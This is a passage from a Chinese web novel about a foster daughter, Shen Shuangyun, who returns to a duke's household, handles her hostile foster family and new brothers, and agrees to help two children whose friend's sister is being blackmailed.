沈宁川则张罗着,留沈霜云用了午膳,期间,沈霜云没忘了提醒沈墨言,“大哥,你进宫后,可以打点打点,去锦绣宫当差。”
“那是裴贵妃的宫殿,有自家亲戚帮扶,日后想升官,我也好安排些。”
她坐在下首,纤手执着筷子。
浅语轻声。
“我这一身本身,想立功就不用靠女人,但你都说了,唉,我就当宠妹妹,应下了吧。”
沈墨言得意忘形,高傲如此。
沈霜云垂眸,嘴角始终含着一抹若有似无的笑。
用过午膳,周氏陪沈婉音歇息去,三个沈家哥哥各自离去,沈霜云也提出回镇国公府,沈万里刚好出门办事。
跟她一同。
来到府门外,沈万里一刻不停地叮嘱,“霜云,别忘了府里对你的恩典,十五年的养育之恩,不是给你大哥安排个侍卫缺儿,就能还得了的!”
“你二哥,三哥都别忘了,他们天纵之才,没你也能显赫,你稍稍援手,是给你展露亲情的机会。”
“你一个庶女,生来蠢笨,日后想风光,还要靠你哥哥们!”
“还有婉音,她做了侧妃,也能提携你!”
沈霜云含糊应着,提裙摆上马车。
突地,一声暴躁童声从后传来,“沈家老匹夫,你放什么屁呢?”
“沈霜云是我们镇国公府的姑娘,不是你家奴婢,是你能随意指挥的?”
沈霜云和沈万里一怔,回头去看。
一身红衣的裴照野,像个小炮杖般跑到沈万里跟前,抬腿踹向他膝盖,趾高气扬地骂道:“你别以为我不知道,我娘给了你两万两银子,你收的时候,喜得屁滚尿流的!!”
“现在说什么养活沈霜云了,她欠你家的了?”
“你哪养活了?明明是银货两讫!”
“你儿子们有本事,求沈霜云干什么?他们自己考科举,考武举去啊,别扒着女眷裙子边儿,一边求人,一边还要摆高姿态!”
“小爷活了八年,就没见过你这么不要脸的人!”
“别人是端碗吃饭,放筷骂娘,你饭还没吃到嘴呢,就开始骂娘了?”
裴照野气的粉脸鼓起。
像个小包子。
“啊!”沈万里抱着膝盖,疼得脸色铁青,抬手想打人。
“五弟,你怎么来了?”沈霜云突然出声。
点出他的身份。
竟是镇国公府的公子?
沈万里赶紧收回手,僵在当场。
“我去找朋友办事,路过这里,看见你被欺负!”裴照野颐指气使,瞪了沈万里一眼,‘叭哒叭哒’跑到沈霜云跟前,拽着她往马车里塞,口中埋怨道:“你可真没用,像个受气包一样。”
“他那么骂你,你就傻呼呼地听着,你倒是回嘴啊!”
“你是小爷的姐姐,国公府千金,沈家算什么狗窝?你到听条老狗吠!”
沈霜云猝不及防,跌坐车厢里。
裴照野晦气甩手,“走走走,没得碍眼。”
车夫自然听小公子,马鞭一甩,马车扬长而去。
喷了沈万里一脸灰。
——
马车里,裴照野跟着进了车厢,占去大半地方,把沈霜云挤到角落。
他大摇大摆地坐着,自在地喝茶水,吃点心,顺便抱怨沈霜云‘胆小’。
“就该骂他!”
沈霜云静静听他抱怨,给他倒茶,又捏了捏他的丸子头。
“别闹,都给我弄乱啦!”
裴照野桀骜的脸,变得粉嫩,别扭哼声。
马车很快回到镇国公府,两人下车,进入内院,桃心急匆匆找过来,见沈霜云和裴照野在一块儿,先是一愣,旋即,焦急地道:“五少爷,云姑娘,二少爷回府了。”
“夫人命奴婢叫您,晚膳去正院,大,大家聚一聚……”
二少爷。
那个人人畏惧的半残疯子裴九卿!
沈霜云尚未言语,裴照野没忍住,畏惧地缩起脖子。
第7章 除了沈府,谁会要你?
前世,沈霜云进晋王府后,身为妾室,娘家又不请她,她很少出门,对镇国公府的了解,大多通过沈家人。
沈婉音说裴九卿残暴烈性,是个半残。
沈霜云没见过。
她也没听谁说过,镇国公府二少爷身有残疾、
残疾哪能做京兆府尹?
她曾旁敲侧击,询问桃心和桃核,两人都说:二爷脾气不好,炮杖性子,点火就着,身体却是健康。
旁事,讳莫如深。
沈霜云回府时间太短,根基太浅,只能提醒自己谨言慎行,小心应对。
她回院,换了身不起眼儿的衣裳,这才跟着裴照野往正院去。
行路间,她向裴照野打听裴九卿。
“二哥性子很古怪,脾气比大哥还差,大哥气恼了,顶多就是不理人,多布置功课,二哥不会,他生气是要打人的。”
“打得可疼了。”
裴照野捂着脑袋,一副‘小霸王也害怕’的样子,他撇嘴瞅沈霜云,“你受沈家老狗的气,我替你出,二哥要是骂你,我可不敢还嘴。”
“不过,二哥那人,吃软不吃硬,他要打你,你大不了坐地上哭,应该也是没事的。”
吃软不吃硬?
沈霜云放进心中。
两人来到正院,婢女进屋禀告,片刻回转,带他们入内。
沈霜云进屋,入目先是裴寂之和裴寒声,两人临窗,并肩而立,旋即,就是他们对面,站着的娇治浓丽,唇红齿白的男子……
应该是男子吧?
沈霜云见他单薄削瘦,身量矮小,仅比八岁的裴照野高小半个头。
像是比她矮。
沈霜云立刻弯下腰身,把背微微拘搂起来。
浓丽瘦小的男人视线扫过,神情是浓浓不耐,看着凶巴巴的,却没言语。
裴寒声缓缓挑眉。
这时,谢夫人从里间走出,介绍道:“霜云,这是你二哥裴九卿。”
“九卿,这是霜云,前日刚从沈府回来。”
裴九卿心不在焉地点头。
原来……
真是个男子啊。
晋王府后院都没有的绝色,居然是她二哥,那么貌美,那么矮小!
沈霜云不露异色,平静福身,“霜云见过二公子。”
“见过世子爷、四公子。”
“嗯。”
裴九卿挥手。
见他没发脾气,谢夫人有些惊讶,心里替沈霜云松口气,她道:“九卿这回当差辛苦,奔波月余,终于回来,也该好好歇歇。”
“半月,摆膳吧。”
“是!”
大丫鬟半月应声,找人放好圆桌,摆上膳食。
众人移步大堂,把谢夫人请至上位,裴照野猴到亲娘跟前,三位裴公子依次落座。
沈霜云敬陪末席。
丫鬟们摆好碗筷。
众人开始用膳,裴家虽是高门,倒没有‘食不言,寝不语’的规矩,三位裴公子交谈公事,谢夫人偶尔插话几句。
裴九卿时不时询问裴照野的功课,又管教他,“我听说,你这段日子跟盈盈四处惹事,还在闹市打人!”
“御史都上书参爹爹了。”
“我刚离开多久,你就这么撒欢,行纨绔霸王之事,赶紧停了,在让我知道,饶不了你!”
裴照野被骂得直缩脖子,在没小霸王的张狂,丸子头都榻了。
蔫搭搭的。
可怜死了。
兄长管教弟弟,又事出有因,谢夫人虽心疼,也没阻拦。
屋里气氛算是平静,然,膳食用到一半,裴九卿神色一变,突然转头,暴躁地骂沈霜云,“这是家宴,我们兄弟陪夫人用膳,你一个姓沈的,坐在这里干什么?”
“滚出去。”
瞬间,温馨气氛,降至冰点。
丫鬟嬷嬷直打哆嗦,大气不敢喘。
裴寂之神情冷峻,视若无睹。
裴寒声似笑非笑,仿佛看戏。
裴照野的丸子头,不安的甩动一下,他探起身子,仿佛想要替沈霜云说话,然而。
谢夫人拽住他的袖子,示意他安静。
裴照野耸肩,老实了。
沈霜云感觉压迫力扑面而来,心神却是安静。
昔日在沈府,她活得也不安生,沈万里和周氏不喜欢她,嫌她笨嘴拙舌,不如沈婉音嘴甜讨巧。
名义上,她是府里姑娘,实则当着半个丫鬟的差事。
沈婉音高楼居卧,她跟丫鬟住在一起,洒扫洗衣做针线,沈婉音被周氏搂在怀里,‘爱女娇儿’,沈家哥哥们围绕的时候。
她站在桌边,替他们布菜。
做得不好,要挨骂挨饿。
沈万里总说:“捡你们回来,是夫人发善心,本该入奴籍的,但婉音可怜可爱,招人喜欢,你借她的光,才能做小姐。”
“没有婉音,没有沈家,你就是进青楼楚馆,千人骑,万人压的命。”
“你这么蠢,这么笨,除了沈家,没人会要你。”
这些话,深深刻进沈霜云心里,她渴盼养父、养母和哥哥们,能像喜欢沈婉音那样喜欢她,疼爱她,怕被抛弃,于是,倾尽所有付出,竭尽全力帮扶。
可是……
一场空。
多少恩情,养育之亲,前世她都用母子俩的性命回报了。
镇国公府才是她的今生。
裴九卿的刁难,比不了前世沈家哥哥们的百分之一。
她指尖微颤,放下筷子,没有起身,仅是垂下脸儿,声音细若蚊蝇,“二公子教训的是,是霜云思虑不周了。”
“原想着夫人有命,一家团圆,不敢擅自推辞,却忘了未曾入谱,终是外姓人……”
说罢,悄悄抬头瞥向夫人,又迅速低下。
裴九卿吃软不吃硬,她别顶着,顺从示弱就好,再提一下谢夫人。
裴九卿总不至于像前世对沈婉音似的,直接把她轰出府吧?
伸手不打笑脸人。
果然,裴九卿浓丽面容凶躁,像是随时会暴起打人般,恶狠狠地盯着沈霜云。
却见她垂脸缩身,瘦瘦小小的样子,满腹暴躁发泄不出来。
他!!
很生气,但也不好欺负‘小’姑娘!!便只能狠狠踢桌子。
八仙桌被他踢得直晃,百味汤都溅出来了。
“九卿,大喜的日子,稍安匆燥。”谢夫人用袖掩口,温声提醒。
对继母,裴九卿是有几分尊重的,起身抱拳,“母亲恕罪,儿子失礼了。”
谢夫人,“无妨,坐下用膳吧。”
“谢母亲宽容。”裴九卿坐下。
席间,也有几番发怒。
却不是全冲着沈霜云,反而遇谁骂谁,连亲兄弟都挨了他几句。
裴寒声苦笑不止。
沈霜云一直安静观察着,她……
好像知道裴九卿发火的诱因了。
第8章 沈婉音找上门来
姣姣如月,面似好女。
他,也太矮了。
整个屋里,除去八岁的裴照野,剩下的人都比他高,尤其是裴寂之,蜂腰猿背,身高九尺,坐着都起裴九卿站起来高。
沈霜云一直缺衣少食,身量瘦瘦小小,微微弯腰,略略垂头,看着就跟裴九卿差不多高矮,沈婉音……
她受宠,从小山珍海味,鸡鸭鱼肉,姐妹俩相貌相似,身高差了半头,沈婉音身段又丰腴。
站起来能把裴九卿装进去。
她性格张扬,嘴甜却不顾忌细节,很爱开过分的玩笑。
对裴九卿的情况,沈霜云都能想象,她约莫会夸,“二哥哥好美啊,娇娇小小的,比我还像个女孩子……”
裴九卿应该很介意身高。
他刚刚找麻烦那会儿,沈霜云把腰挺直,瞧着高了,斥责丫鬟,是她端汤时,贴他身侧,对兄弟们没好气……
裴寂之起身时,手臂越过他的头了。
心里明了裴九卿的禁忌,沈霜云自然避着,不去触碰,晚膳居然安安静静用完,谢夫人松了口气。
“天色晚了,送云姑娘回‘降云阁’歇息吧。”
“是。”
丫鬟应声,提起灯笼。
“霜云告退。”
沈霜云福礼退身。
裴照野乌溜溜的眼珠乱转,看她走出门,“娘,我吃饱了。”
他随意找个借口,‘哒哒哒哒’跑出去,拽住沈霜云的袖子,声若蚊蝇的说:“我有点事要,嗯,要交给你办。”
“明天下午,你到静华楼找我,记住了啊。”
“好。”
沈霜云有些好奇,却没多问,转身离开。
正院,谢夫人关切了裴九卿几句,再叮嘱裴寂之和裴寒声,“如今天气热了,你们注意些身子,莫要埋头公务,有何要事,多给你们父亲写信……”
“多谢母亲关心。”
公子们淡然应下。
继母和儿子们生疏交流完毕,自行分散。
“二哥,你今儿居然没把姓沈的轰走,脾气什么时候变好了?”
裴寒声拐他一肘子,有些不高兴。
二哥破坏了他的‘乐趣’。
“轰?人家一个小姑娘,挨骂不还嘴,不笑不说话,夹菜都不敢伸长筷子,只吃眼前的,我怎么轰她?”
裴九卿浓丽治颜染上抹红,没好气地骂,“老四,你二哥脾气不好,但不是疯子,整治人总得有理由吧。”
“我不像你,我有底线。”
几次想轰沈霜云,都被她软软顶回来,没法替生母出气,裴九卿已经很窝囊了,还要被弟弟指责!!
“老子不欺负弱小!!”,
他怒吼,气鼓鼓地走了。
裴寒声讨了个没趣,摸着鼻子委屈,“大哥,二哥什么意思?他是说我没底线吗?”
“我就是玩玩嘛,又没想要人命。”
“沈霜云沉得住气,有几分审时度势的眼光。”
注意到只要面对二弟,沈霜云就会榻下腰,垂下头,绝不显身量。
裴寂之淡声,“她有心机,又能忍辱,你别阴沟里翻船。”
“大哥,你太小看我了吧。”裴寒声失笑,轻蔑道:“一个小丫头,能翻出什么风浪?”
“你心中有数就是了。”裴寂之淡声。
两人相携离去。
——
次日,沈霜云给谢夫人请过安后便出了府。
裴照野神神秘秘约她在静华楼相见,也不知要做什么。
自是要早早前往。
沈霜云出了府门,刚要上马车,突地,镇国公府门外,一抹曼妙的身影,踉跄从墙角扑出来,气急败坏地冲到沈霜云跟前,拽着她的胳膊,语气嘶哑呼喊。
“沈霜云,你昨天为什么没被轰出来?”
“为什么?”
沈霜云一怔,转头侧目。
居然是沈婉音。
她死死抓着沈霜云,脸色憔悴,发丝散乱,一双眼睛布满血丝,绣鞋儿都被露水打湿了。
整个人显得狼狈不堪。
沈霜云低声,拂去她的手,“妹妹,你怎么在这里?”
她不愿让沈婉音碰她。
恶心。
“谁允许你问我的?老老实实回答我就是,你昨天,为什么没被裴九卿轰出来?”
“你干什么了!!”
沈婉音气急败坏的吼。
脸色铁青。
昨日沈霜云离开,她越想心里越不甘,哪怕只有月余的风光,也轮不着她享受,沈霜云就配给她端茶倒水当丫鬟……
她凭什么大摇大摆,坐着豪华马车回来,还要父亲送她!!
甚至,裴照野那小崽子,还为了她斥责父亲。
沈婉音气得睡不着,傍晚,又因没有碧粳米和血燕窝,膳食都没用下,怒火燃心,她突然想起前世,裴九卿回府,她不过调侃了一句,“没想到二哥居然这么瘦小,我比二哥要高半个头呢……”
裴九卿大发雷霆,把她轰出府门,她守在门外敲了半夜,惊恐哭泣,还是裴寒声把她放进来。
不男不女的半残,先天恶毒,肯定也会整治沈霜云。
她期盼着,偷偷跑过琮,准备嘲笑奚落。
哪成想,苦苦等了一夜,居然什么都没发生!!
难道沈霜云讨了那半残的喜?
不,不可能!!
沈婉音不相信,她天生丽质,聪慧机灵,都讨不了裴家人的好,沈霜云愚笨不堪,她凭什么?
“妹妹,你在说什么胡话?二哥性格直爽,豪迈不羁,为什么要轰我?”沈霜云淡声,“倒是妹妹,发丝凌乱,一身露水,是等了很久吗?”
“也没个丫鬟小厮陪着,父亲知道了,怕是会担心吧!”
“呃!”
沈婉音是偷跑出来的,心里一阵虚,她梗着脖子,不好追究,“我,我是来找你的,今日大哥去宫中当职了。”
“父亲让你回去送他。”
“大哥那么疼你,你连他的前程都不关心,怪不得爹总说你是白眼狼。”
沈墨言要进宫了?
沈霜云垂下眼帘,“那是要去送送的。”
两人坐上马车,来到宫门前的春风得意楼,彼时,沈家父子们都在。
沈墨寒满面春风。
沈霜云恭维他,“大哥文韬武略,德才兼备,今日进宫,如同蛟龙入水,从此自是平步青云,封侯挂帅,不在话下。”
“霜云先提前恭贺大哥……”
步入火坑。
第9章 姑奶奶要把他点天灯
“哈哈哈哈,霜云,没想到你笨嘴拙腮的,到还会说几句好听话。”
沈墨言穿着飞鱼侍卫服,得意扬扬。
“姐姐是实话实说嘛。”沈婉音记得前世大哥官拜威武将军,附和着吹棒他,“她哪是会说话了!”
“明明是大哥厉害。”
沈墨言越发飘飘然。
“大哥是沈家嫡长子,是要继承家业,光宗耀祖,自然跟别个不同。”沈霜云明眸微动朱唇轻启,“他要支撑门楣。”
捧杀!
不止裴寒声会。
“哈哈哈哈!”
沈墨言下巴高昂,哈哈大笑。
得意忘形。
沈霜云目光轻扫,看着沈宁川和沈今安干巴巴地坐那儿,一杯杯灌酒,眼里神色晦莫难测。
都是同母所生的嫡子,就因为早出来几年,所有好事都是沈墨言的?
沈家商户,没有官场背影,霜云又蠢笨没用,能讨回一个官职已是侥幸,天知道有没有下一回。
科举多难啊。
中了进士,也得从七品小官做起,哪及得上宫中侍卫,皇帝近臣。
早知道裴家这么大方,不如让婉音回去了,她聪明美貌,讨人喜欢,比霜云强得多,肯定能得更多好处。
他们后悔死了。
沈霜云目送沈墨言,趾高气扬地走进皇宫,回眸又望,沈宁川和沈今安遮掩不住的嫉妒。
她嘴角勾起一抹笑,恍若罂粟绽放。
这时,沈万里回身吩咐,“霜云,你大哥的事了,还有你妹妹呢,她的婚事,是你应该管的,你别忘了。”
“晋王妃的寿宴,你定要带她参加。”
“这是为父给你回报你妹妹,回报家里恩情的机会,你要珍惜,否则……”
“以后你想帮我们,都没有那个机会了。”
他志得意满。
儿子进宫,眼看飞黄腾达,养女入晋王府做世子侧妃,想着当今庆元帝膝下无子,晋王是他同胞弟弟,皇帝要过继的话……
婉音就能当娘娘了。
她再生个儿子,沈家就是皇帝外家!
承恩公!!
沈万里心里火热,连连催促,“你好生讨好谢夫人,给她端茶洗脚,锤背辅床,把卑微臣服的姿态做足。”
“她为了贤妇名声,也不能拒绝你。”
“知道吗?”
“是。”
沈霜云应声,敛去心下的复杂。
彼时,快到和裴照野约定的时辰,她便起身告辞,坐上马车,来到静华楼,报上名字,小二笑言,“姑娘,裴五少在包厢呢。”
“小的带您过去。”
沈霜云点头,收敛裙摆,移步上楼,进了包厢,她一眼看见裴照野握着马鞭,大马金刀地坐在窗前,他身边,则站着个粉衣粉裙,梳双环髻,脸颊有两个酒窝的小姑娘。
瞅着十岁上下。
她杏眼圆睁,柳眉倒竖。
气的粉面含煞。
“混帐!!混帐!!那个王八羔子,姑奶奶早晚把他点了天灯,敢欺负我姐姐,不要脸,不要脸!!”
“啊啊啊啊!”
“气死我了,裴照野,你不是说,你能解决吗?你就是这么解决的!!”
小姑娘掐腰,气焰嚣张。
飞扬跋扈的镇国公府小霸王裴照野,出乎常态,没敢还嘴,反被训得蔫巴巴的,像个落水湿毛的小猫。
丸子头耷拉下来。
“盈盈,你别生气,你都骂我那么久了,我好男不跟女斗,都没还嘴!”
“我,我一直在想办法,但那个混蛋把丹雪姐姐的东西藏的太好了,怎么都找不到,我总不能杀了他吧。”
“而且,昨天我二哥回来,特意训了我,说我跟你闹市打人,太张狂了,御史都我把爹参了,我,我也没办法。”
裴照野嘟囔,垂头丧气。
“那我们怎么办?我姐姐,呜呜呜,我姐姐都上吊了!”小姑娘跺脚直哭。
两人都没注意到沈霜云进包厢了。
她轻咳一声。
一双小儿女同时转头。
“啊!!沈霜云,你什么时候来的!!”
裴照野像个受惊的猫儿,眼睛‘刷’一下子瞪圆了,耳后滚烫。
哎啊!!
糟了,被她看到挨骂的场景了,好丢脸。
小爷的面子!
小姑娘也是捂嘴,杏眼睁得圆溜溜。
“五弟,我刚过来。”沈霜云抿唇,掩下笑意,不愿裴照野尴尬,她语气平静,“这是你的好朋友吗?”
“是你和她,一块儿约我过来的?”
“嗯!”见沈霜云没笑他,裴照野撸了撸炸毛的丸子头,拽过小姑娘,“我跟你提过吧,我在京中有名号,‘雏雄双煞’,这就是我的搭档,赵盈盈。”
“她爹是归德将军,在爹麾下任职。”
“赵姑娘。”
沈霜云颔首轻笑。
赵盈盈抹掉泪,绷着小脸福身,犹豫片刻,唤了声,“沈大姐姐好。”
三人坐下,小二上茶水点心。
沈霜云问起,“五弟特意约我来,是做什么?”
裴照野小脸犹豫,一眼一眼地瞅赵盈盈。
赵盈盈咬着嘴唇,脚尖不停地蹭地,小手揪住裙摆又松开,眼神频频望着沈霜云,看得出焦急犹豫。
又带点希望。
沈霜云不知所以,也没催她,静静等待着。
半晌……
“算了,反正都这样了,破罐子破摔吧。”赵盈盈丧气,像个瘪掉的红苹果,嘴巴撅着,带着哭腔,倔强道:“最坏也不过同归于尽!”
“姑奶奶跟那王八蛋拼了,我给他偿命。”
“别别别,哪到那个地步!”裴照野忙劝,又看向沈霜云,犹豫着开口,“其实……”
赵盈盈的父亲赵远征随镇国公在边疆驻守,京城府里,赵母带着两个女儿,依附大伯生活。
母女三人相依为命。
今番出事的,就是赵盈盈的亲姐赵丹雪,月余前,赵丹雪院里丫鬟偷盗她的东西,她性格温驯,不爱惹事,就没大闹,只找了借口把丫鬟赶走。
谁知没多久,就有个地痞,叫骆明哲的,拿着她的肚兜找到她乳母,称‘私下定情’,‘得了她的身子’,向她勒索银子。
赵母体弱,久卧病榻,母女又是住在大伯家,事关女儿清白,赵丹雪又惧又怒,只想息事宁人,包了二百两银子给他。
结果,一发不可收拾。
“那个无赖,非说我姐跟他有私情,拿我姐私物,要我姐嫁给他,我姐不允,他就要闹,说要去找我娘,找大伯……”
第10章 姐姐来帮你
亵裤。
“那是我姐的私物,都绣着小名,肯定是丫鬟偷的!”
赵盈盈脸一红,气哭道:“他纠结不少狐朋狗友,到钱嬷嬷家闹了好几回,每回都要银子,我姐被他逼得没办法,也不敢告诉娘和大伯。”
女子名声大过天。
赵丹雪又格外胆小。
“……后来,我觉得不对,反复逼问,钱嬷嬷才说出实情,我,我也不知道该怎么办好,就去找照野,我俩带着小厮去寻骆明哲,想拿回我姐的东西。”
“可是根本找不到,不知道他藏哪了。”
“我和照野让人打他,却被好多人看见,大伯知道把我骂了一顿,照野也被御史告了,骆明哲威胁我们,要去告御状……”
“我姐就上吊了,幸好被钱嬷嬷发现,要不然她就死了。”
赵盈盈哭得上气不接下气。
裴照野也气愤难当。
沈霜云垂眸回忆。
前世这事儿……
周氏仿佛提过一句,说什么“大户人家的女儿也是贱货,闺阁女子,通奸外男,不知乱搞多少回,说不定孩子都整出来了,被男人拿着肚兜亵裤找上门,闹得满城风雨……”
沈婉音还嫌恶,“幸好她知道羞耻自尽了,要不然,我都不敢出门见人了,娘,你知道吗?她爹是镇国公麾下武将,沾了‘裴’字,真是丢死人。”
为此,周氏和沈万里还训过沈霜云。
“婉音回公府,那是她天生命贵,你比不了她,别心生妄想,你笨嘴拙舌,不会有男人喜欢,去到晋王府,也要老实守本分。”
“别妄想旁的。”
后来,沈霜云升做世子侧妃时,听来串门的命妇提起,说那位赵姑娘是无辜的,她父亲替她翻案洗冤。
真相大白,原是无赖勾结内侍偷盗。
沈婉音那会儿已经落魄了,嫉妒大骂,“就是陪人睡了,就是通奸淫荡,却仗着个好爹好家世,欺压良善,可怜骆公子,好好的多情人被下了大狱。”
"太可怜了!!"
“我为骆公子一哭。”
彼时,沈霜云的战场在内宅,赵姑娘之难,唏嘘一时也就罢了,如今听得……
内情居然是这样。
“照野,盈盈,你们想我做什么?”
沈霜云思量。
赵盈盈红着眼眶,“沈姐姐,我姐现在绝食了,两天不吃饭,谁劝她都不听,我太害怕了,想去告诉大伯娘,我姐立时昏死过去,醒来就说马上要死。”
“我,我不敢说了,也不知道该怎么办?你,你……”
她哽咽。
“你有没有什么办法劝劝她,好歹吃饭啊。”裴照野接话。
两张粉粉的圆脸,显露着相同的愤怒、无力、茫然和……
隐隐的害怕。
‘雌雄双煞’在霸道,也才八岁而已,还是小孩子,面对这样复杂的局面,孩童本能让他们想向大人求助。
但条件不允许。
赵丹雪的性命,女子声誉,御史奏折,裴九卿的警告,让两个小孩儿走投无路,居然找到沈霜云头上。
“我觉得你经历坎坷,处境也难,但活得很好,二哥那么凶你,你都没有想不开的样子,心胸应该很宽广吧。”
“你想办法影响下丹雪姐,让她坚强点嘛,我和盈盈还在想办法呢。”
裴照野嘟囔。
找大姐姐去劝,除了实在没办法,他还有个隐秘的心思。
她初回镇国公府,举目无援,几个哥哥都不在意她,沈家对她也平平,裴照野自信能管住她,她不敢多嘴。
沈霜云回过神来,她纤手握住茶杯,轻声道:“让我去劝,自是行的,但这事总得有个着落。”
“骆明哲应是跟赵府丫鬟勾结,贼咬一口,入骨三分,不会轻易罢休。”
“就算劝住赵大姑娘,你们打算如何了结此事?”
“我,我……”裴照野噎声。
国公府的纨绔八岁小爷,飞马纵横,扬鞭打人还成,旁的……
“大不了,我跟他同归于尽!!”赵盈盈握拳,眼睛赤红。
为了姐姐,小姑娘想拼命了。
“倒也不必,这事说难是难,说容易,却也容易。”沈霜云摆手。
她准备替裴照野和赵家姐妹解决此事。
镇国公府波谲云诡,她一尾小鱼游入龙潭,是要卧薪尝胆的,但若有机会施恩裴照野,她也绝不可能放过。
裴照野是谢夫人唯一的孩子,爱如眼珠,交好裴照野,就是交好谢夫人。
公府的当家主母,能偏袒她一、二、百花宴和未来,她也能多几分助力。
沈霜云抿唇,“动作得当,可以解决。”
“你有办法?”裴照野眼睛睁得溜圆,‘腾’的起身,惊喜道:“沈霜云,你说的是真的?”
“你别骗我!”
“我很聪明,没那么容易被骗的。”
“裴照野,沈姑娘是你姐姐,你喊什么名字?要尊重点,叫霜云姐姐。”赵盈盈猛地掐腰,瞪起眼睛斥,又狗腿的给沈霜云倒茶,泪水都没干。
她挤出笑脸,“霜云姐姐,你说的解决……”
“要怎么解决?”
“不好影响我姐姐的名声,她也不愿意告诉旁人。”
“那是自然。”
沈霜云敛起眸儿,轻启朱唇,“你们知道骆明哲的处住吧。”
“知道,但丹雪姐的私物不在他住处,我都派人翻遍了。”裴照野忙道。
“不用找东西,你们听我的……”沈霜云勾指,两个小孩儿对望一眼,齐刷刷把脑袋伸过来。
丸子头和双环髻凑到一块儿,毛茸茸地晃动着。
沈霜云,“你们就这么办……”
——
时间飞快,转眼流逝。
沈墨言进宫快一旬了。
他已经从三等侍卫,升到二等,调到锦绣宫当差。
为此,足足花了一两万贿赂上官。
“裴家给的银子,花来当裴家的差,养个妹妹是有用啊,沈霜云那么蠢笨,都值一万两。”沈墨言站在锦绣宫门口,嘿嘿笑着。
当初,镇国公府言明,不接庶女们回府时,是给了沈家两万两银子,算做庶女花销的,后来,沈万里绞尽脑汁,送沈霜云回去。
银子,自然不会给她。
“切,府里把她养大,她拿命回报都是应该的,银子给我们花用理所应当。”
“锦绣宫还是不好,再多花点,直接到养心殿当差多好,我这么优秀,陛下见着我,肯定一眼相中,立刻重用,到时,我也做帅封候,给婉音多备嫁妆……”
锦绣宫大门突然打开。
沈墨言直腰,挺起胸膛。
裴贵妃坐着八人抬的凤辇出行,身后打扇捧瓶,跟着十来个宫婢太监。
一行队伍,浩浩荡荡路过侍卫们。
“停轿。”裴贵妃突地扬手,凤眸垂下,“你姓沈?”
第11章 沈哥哥挨打了
裴贵妃年过五旬,相貌却如四十出头,妖娆丰腴,通身风华。
她居高临下,声如脆竹。
沈墨言两眼火热,凑上去巴结,“回娘娘的话,属下正是皇商沈家嫡长子。”
“是您亲侄女的养哥哥,从小照顾她,她跟属下很亲近……”
他理所当然搬出沈霜云来。
全然忘了刚刚的鄙视。
“哦,本宫的侄女,是叫霜云的那个吧!”裴贵妃扬声,唇边勾出抹冷然的弧度。
“回娘娘,正是。”
沈墨言连声。
心里得意:父亲机智献女真有用啊,宫里侍卫那么多,就他被贵妃记住了,日后在让霜云多说好话,他就能去养心殿。
服侍皇上!!
哈哈哈哈。
他果然是有福运啊。
“沈墨言……”裴贵妃意味深长,“流苏,你替本宫认清他的脸,免得记错了。”
大宫人流苏恭敬应声,“是,娘娘。”
裴贵妃挥手,凤辇前行。
沈墨言沾沾得喜,跟他一同当差的侍卫们,见他跟贵妃娘娘沾亲戚,也全都巴结上来。
一口一个‘兄弟’,‘哥哥’,全然没了初识的冷漠。
能给贵妃守宫门的,皆是官宦子弟,被贵族少爷们吹棒,沈墨言得意忘形,差事都当的含糊,甚至,当夜下差后,他和新认识的兄弟回到职房。
开始喝醉,耍钱。
骰子摇‘哗哗’响,金银摆满桌。
酒红人面,财动心弦,他们一赌,就赌到半夜,兴头正酣,突地……
‘咣咣咣’。
有人砸门,动静极大。
屋里,沈墨言坐在主位,心里满是被打扰的不耐,他转头狂妄,“哪个不长眼的?敢打扰你家沈大爷的兴致!!”
“不知道我是贵妃娘娘看中的……”
话音未落,门被踢开,内庭侍卫首领凶神恶煞闯入,一脚踹下去。
“呕!!”
沈墨言跌倒在地,脑袋磕到墙上,眼泪鼻涕横流。
金银跌落,砸他满身。
“你们好大狗胆,敢在宫里聚赌,给本官拉出去,按宫规处理!!”
侍卫首领高喝,掏出马鞭,一通乱抽,“你给老子闭嘴,贵妃娘娘姓裴!”
“你姓什么?”
“少给娘娘招事,烂狗肉想往凤凰身上贴,贴得着吗?”
马鞭加身,深入骨髓的疼,沈墨言惊惧醒酒,他不敢再喊,死狗般让人拖出去。
陪他聚赌的兄弟们,眼神交换,意味深长。
饮酒聚赌,按照宫规,要重打三十大板,罚半年俸禄。
沈墨言嘴里堵着软木塞,被打得鲜血淋漓,抬回职房。
侍卫们把像块烂肉的他,扔到床上。
“怎么回事,哎啊,疼死我了,给我些水啊……”
沈墨言的嚎叫,响了整夜。
——
清晨,锦绣宫。
裴贵妃晨起,洗漱完毕,流苏伺候早膳时。
她启唇,“事情办妥了?沈家那位‘嫡长子’,如今怎样?”
“回娘娘的话,今早抬出宫去了,小卓子一直看着,直到出了宫门……”流苏恭敬站着,熟练布膳。
“惩罚也下来了,贬成南门侍卫。”
皇宫南门,是专走夜香的。
任谁在那处当差,就是一丝前途都无。
“娘娘,奴婢不懂,小爷们既要整治他,何不直接打死?”
“到要慢慢磨蹭。”
“流苏,嫂子的死,是他们兄弟心中的结,尤其是寒声,他对嫂子孝顺,心思又重,本宫是他姑姑,前朝帮不上。”
“私下,总要让他畅快的。”裴贵妃淡声,“他想慢慢炮制,想迂回,想捧杀,本宫就帮他。”
“你记着些,端午家宴,让嫂子带沈霜云进宫朝拜,本宫也抬举抬举她。”
“是。”流苏恭敬应下。
——
宫外,两个侍卫抬着血肉模糊的沈墨言,把他扔回沈府。
沈家人都惊呆了。
“哎啊,我的天啊,墨言!!墨言,我的儿,怎么会伤成这样?”周氏惊慌失声,眼泪奔涌而出,“谁打的?”
“哪个不要命的敢打你,我家是裴贵妃的亲戚,跟镇国公联宗,贵不可言!”
沈万里赶紧找大夫,一番诊治。
沈墨言清醒过来。
沈家人七嘴八舌追问。
沈墨言满脸冷汗,忍痛低语。
心里挺羞愧。
聚赌被抓,挨打贬职,沈家人一时无语。
屋里气氛寂静无声。
沈宁川和沈今安互望一眼,几乎同时想着:大哥真是不行,给他机会都能搞砸,早知道,这个差事他们就抢了……
但看父母脸色,又不敢埋怨。
许久,许久……
一片死寂里,沈婉音的声音传来。
她怯怯说:“大哥是当完差太累了,才喝了些酒,玩上几把的,也算不上大错。”
“况且,咱们家是贵妃娘娘的亲戚,抓谁都不该抓大哥。”
“是不是姐姐说了什么,让镇国公府误会了,贵妃便没吩咐照顾大哥啊。”
她刻意误导。
心里明白是怎么回事。
果然啊,裴家那群怪物,哪会真的接受沈霜云!
她这么聪明美好的女子,都被辜负了,沈霜云那个废物,自然更被嫌弃。
就是可怜大哥被她连累了,但……
